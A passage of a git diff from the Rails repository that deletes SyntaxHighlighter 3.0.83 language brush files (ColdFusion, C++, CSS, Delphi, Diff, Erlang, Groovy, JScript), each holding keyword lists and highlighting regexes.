- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Jen
- // http://www.jensbits.com/2009/05/14/coldfusion-brush-for-syntaxhighlighter-plus
-
- var funcs = 'Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ' +
- 'ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList ' +
- 'Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor ' +
- 'Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject ' +
- 'CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert ' +
- 'DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue ' +
- 'Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt ' +
- 'EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead ' +
- 'FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf ' +
- 'FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath ' +
- 'GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding ' +
- 'GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString ' +
- 'GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData ' +
- 'GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader ' +
- 'GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken ' +
- 'GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ' +
- 'ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ' +
- 'ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ' +
- 'ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ' +
- 'ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ' +
- 'ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ' +
- 'ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary ' +
- 'IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost ' +
- 'IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole ' +
- 'IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ' +
- 'ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ' +
- 'ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log ' +
- 'Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime ' +
- 'LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime ' +
- 'Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand ' +
- 'Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase ' +
- 'REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString ' +
- 'SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind ' +
- 'StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew ' +
- 'StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ' +
- 'ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform ' +
- 'XmlValidate Year YesNoFormat';
-
- var keywords = 'cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar ' +
- 'cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo ' +
- 'cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror ' +
- 'cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask ' +
- 'cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn ' +
- 'cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex ' +
- 'cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog ' +
- 'cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate ' +
- 'cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop ' +
- 'cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult ' +
- 'cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule ' +
- 'cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable ' +
- 'cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx ' +
- 'cfwindow cfxml cfzip cfzipparam';
-
- var operators = 'all and any between cross in join like not null or outer some';
-
- this.regexList = [
- { regex: new RegExp('--(.*)$', 'gm'), css: 'comments' }, // one line and multiline comments
- { regex: SyntaxHighlighter.regexLib.xmlComments, css: 'comments' }, // single quoted strings
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: new RegExp(this.getKeywords(funcs), 'gmi'), css: 'functions' }, // functions
- { regex: new RegExp(this.getKeywords(operators), 'gmi'), css: 'color1' }, // operators and such
- { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
- ];
- }
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['coldfusion','cf'];
-
- SyntaxHighlighter.brushes.ColdFusion = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
deleted file mode 100644
index 9f70d3aed6..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
+++ /dev/null
@@ -1,97 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Copyright 2006 Shin, YoungJin
-
- var datatypes = 'ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR ' +
- 'DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH ' +
- 'HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP ' +
- 'HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY ' +
- 'HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT ' +
- 'HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE ' +
- 'LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF ' +
- 'LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR ' +
- 'LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR ' +
- 'PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT ' +
- 'PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 ' +
- 'POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR ' +
- 'PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 ' +
- 'PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT ' +
- 'SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ' +
- 'ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM ' +
- 'char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t ' +
- 'clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS ' +
- 'FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t ' +
- '__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t ' +
- 'jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler ' +
- 'sig_atomic_t size_t _stat __stat64 _stati64 terminate_function ' +
- 'time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf ' +
- 'va_list wchar_t wctrans_t wctype_t wint_t signed';
-
- var keywords = 'break case catch class const __finally __exception __try ' +
- 'const_cast continue private public protected __declspec ' +
- 'default delete deprecated dllexport dllimport do dynamic_cast ' +
- 'else enum explicit extern if for friend goto inline ' +
- 'mutable naked namespace new noinline noreturn nothrow ' +
- 'register reinterpret_cast return selectany ' +
- 'sizeof static static_cast struct switch template this ' +
- 'thread throw true false try typedef typeid typename union ' +
- 'using uuid virtual void volatile whcar_t while';
-
- var functions = 'assert isalnum isalpha iscntrl isdigit isgraph islower isprint' +
- 'ispunct isspace isupper isxdigit tolower toupper errno localeconv ' +
- 'setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod ' +
- 'frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf ' +
- 'longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start ' +
- 'clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen ' +
- 'fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell ' +
- 'fwrite getc getchar gets perror printf putc putchar puts remove ' +
- 'rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ' +
- 'ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol ' +
- 'bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs ' +
- 'mbtowc qsort rand realloc srand strtod strtol strtoul system ' +
- 'wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr ' +
- 'strcmp strcoll strcpy strcspn strerror strlen strncat strncmp ' +
- 'strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime ' +
- 'clock ctime difftime gmtime localtime mktime strftime time';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /^ *#.*/gm, css: 'preprocessor' },
- { regex: new RegExp(this.getKeywords(datatypes), 'gm'), css: 'color1 bold' },
- { regex: new RegExp(this.getKeywords(functions), 'gm'), css: 'functions bold' },
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword bold' }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['cpp', 'c'];
-
- SyntaxHighlighter.brushes.Cpp = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
deleted file mode 100644
index 4297a9a648..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
+++ /dev/null
@@ -1,91 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- function getKeywordsCSS(str)
- {
- return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
- };
-
- function getValuesCSS(str)
- {
- return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
- };
-
- var keywords = 'ascent azimuth background-attachment background-color background-image background-position ' +
- 'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
- 'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
- 'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
- 'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
- 'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
- 'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
- 'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
- 'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
- 'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
- 'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
- 'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
- 'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
- 'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
-
- var values = 'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
- 'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
- 'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double '+
- 'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
- 'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
- 'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
- 'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
- 'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
- 'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
- 'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
- 'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
- 'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
- 'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
- 'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
-
- var fonts = '[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // double quoted strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // single quoted strings
- { regex: /\#[a-fA-F0-9]{3,6}/g, css: 'value' }, // html colors
- { regex: /(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g, css: 'value' }, // sizes
- { regex: /!important/g, css: 'color3' }, // !important
- { regex: new RegExp(getKeywordsCSS(keywords), 'gm'), css: 'keyword' }, // keywords
- { regex: new RegExp(getValuesCSS(values), 'g'), css: 'value' }, // values
- { regex: new RegExp(this.getKeywords(fonts), 'g'), css: 'color1' } // fonts
- ];
-
- this.forHtmlScript({
- left: /(&lt;|<)\s*style.*?(&gt;|>)/gi,
- right: /(&lt;|<)\/\s*style\s*(&gt;|>)/gi
- });
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['css'];
-
- SyntaxHighlighter.brushes.CSS = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
deleted file mode 100644
index e1060d4468..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
+++ /dev/null
@@ -1,55 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'abs addr and ansichar ansistring array as asm begin boolean byte cardinal ' +
- 'case char class comp const constructor currency destructor div do double ' +
- 'downto else end except exports extended false file finalization finally ' +
- 'for function goto if implementation in inherited int64 initialization ' +
- 'integer interface is label library longint longword mod nil not object ' +
- 'of on or packed pansichar pansistring pchar pcurrency pdatetime pextended ' +
- 'pint64 pointer private procedure program property pshortstring pstring ' +
- 'pvariant pwidechar pwidestring protected public published raise real real48 ' +
- 'record repeat set shl shortint shortstring shr single smallint string then ' +
- 'threadvar to true try type unit until uses val var varirnt while widechar ' +
- 'widestring with word write writeln xor';
-
- this.regexList = [
- { regex: /\(\*[\s\S]*?\*\)/gm, css: 'comments' }, // multiline comments (* *)
- { regex: /{(?!\$)[\s\S]*?}/gm, css: 'comments' }, // multiline comments { }
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /\{\$[a-zA-Z]+ .+\}/g, css: 'color1' }, // compiler Directives and Region tags
- { regex: /\b[\d\.]+\b/g, css: 'value' }, // numbers 12345
- { regex: /\$[a-zA-Z0-9]+\b/g, css: 'value' }, // numbers $F5D3
- { regex: new RegExp(this.getKeywords(keywords), 'gmi'), css: 'keyword' } // keyword
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['delphi', 'pascal', 'pas'];
-
- SyntaxHighlighter.brushes.Delphi = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
deleted file mode 100644
index e9b14fc580..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
+++ /dev/null
@@ -1,41 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- this.regexList = [
- { regex: /^\+\+\+.*$/gm, css: 'color2' },
- { regex: /^\-\-\-.*$/gm, css: 'color2' },
- { regex: /^\s.*$/gm, css: 'color1' },
- { regex: /^@@.*@@$/gm, css: 'variable' },
- { regex: /^\+[^\+]{1}.*$/gm, css: 'string' },
- { regex: /^\-[^\-]{1}.*$/gm, css: 'comments' }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['diff', 'patch'];
-
- SyntaxHighlighter.brushes.Diff = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
deleted file mode 100644
index 6ba7d9da87..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Jean-Lou Dupont
- // http://jldupont.blogspot.com/2009/06/erlang-syntax-highlighter.html
-
- // According to: http://erlang.org/doc/reference_manual/introduction.html#1.5
- var keywords = 'after and andalso band begin bnot bor bsl bsr bxor '+
- 'case catch cond div end fun if let not of or orelse '+
- 'query receive rem try when xor'+
- // additional
- ' module export import define';
-
- this.regexList = [
- { regex: new RegExp("[A-Z][A-Za-z0-9_]+", 'g'), css: 'constants' },
- { regex: new RegExp("\\%.+", 'gm'), css: 'comments' },
- { regex: new RegExp("\\?[A-Za-z0-9_]+", 'g'), css: 'preprocessor' },
- { regex: new RegExp("[a-z0-9_]+:[a-z0-9_]+", 'g'), css: 'functions' },
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' },
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' },
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }
- ];
- };
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['erl', 'erlang'];
-
- SyntaxHighlighter.brushes.Erland = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
deleted file mode 100644
index 6ec5c18521..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushGroovy.js
+++ /dev/null
@@ -1,67 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- // Contributed by Andres Almiray
- // http://jroller.com/aalmiray/entry/nice_source_code_syntax_highlighter
-
- var keywords = 'as assert break case catch class continue def default do else extends finally ' +
- 'if in implements import instanceof interface new package property return switch ' +
- 'throw throws try while public protected private static';
- var types = 'void boolean byte char short int long float double';
- var constants = 'null';
- var methods = 'allProperties count get size '+
- 'collect each eachProperty eachPropertyName eachWithIndex find findAll ' +
- 'findIndexOf grep inject max min reverseEach sort ' +
- 'asImmutable asSynchronized flatten intersect join pop reverse subMap toList ' +
- 'padRight padLeft contains eachMatch toCharacter toLong toUrl tokenize ' +
- 'eachFile eachFileRecurse eachB yte eachLine readBytes readLine getText ' +
- 'splitEachLine withReader append encodeBase64 decodeBase64 filterLine ' +
- 'transformChar transformLine withOutputStream withPrintWriter withStream ' +
- 'withStreams withWriter withWriterAppend write writeLine '+
- 'dump inspect invokeMethod print println step times upto use waitForOrKill '+
- 'getText';
-
- this.regexList = [
- { regex: SyntaxHighlighter.regexLib.singleLineCComments, css: 'comments' }, // one line comments
- { regex: SyntaxHighlighter.regexLib.multiLineCComments, css: 'comments' }, // multiline comments
- { regex: SyntaxHighlighter.regexLib.doubleQuotedString, css: 'string' }, // strings
- { regex: SyntaxHighlighter.regexLib.singleQuotedString, css: 'string' }, // strings
- { regex: /""".*"""/g, css: 'string' }, // GStrings
- { regex: new RegExp('\\b([\\d]+(\\.[\\d]+)?|0x[a-f0-9]+)\\b', 'gi'), css: 'value' }, // numbers
- { regex: new RegExp(this.getKeywords(keywords), 'gm'), css: 'keyword' }, // goovy keyword
- { regex: new RegExp(this.getKeywords(types), 'gm'), css: 'color1' }, // goovy/java type
- { regex: new RegExp(this.getKeywords(constants), 'gm'), css: 'constants' }, // constants
- { regex: new RegExp(this.getKeywords(methods), 'gm'), css: 'functions' } // methods
- ];
-
- this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
- }
-
- Brush.prototype = new SyntaxHighlighter.Highlighter();
- Brush.aliases = ['groovy'];
-
- SyntaxHighlighter.brushes.Groovy = Brush;
-
- // CommonJS
- typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
-})();
diff --git a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js b/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
deleted file mode 100644
index ff98daba16..0000000000
--- a/railties/guides/assets/javascripts/syntaxhighlighter/shBrushJScript.js
+++ /dev/null
@@ -1,52 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- *
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-;(function()
-{
- // CommonJS
- typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
-
- function Brush()
- {
- var keywords = 'break case catch continue ' +
- 'default delete do else false ' +
- 'for function if in instanceof ' +
- 'new null return super switch ' +
- 'this throw true try typeof var while with'
- ;
-
- var r = SyntaxHighlighter.regexLib;
-
- this.regexList = [
- { regex: r.multiLineDoubleQuotedString, css: 'string' }, // double quoted strings
- { regex: r.multiLineSingleQuotedString, css: 'string' }, // single quoted strings
- { regex: r.singleLineCComments, css: 'comments' }, // one line comments
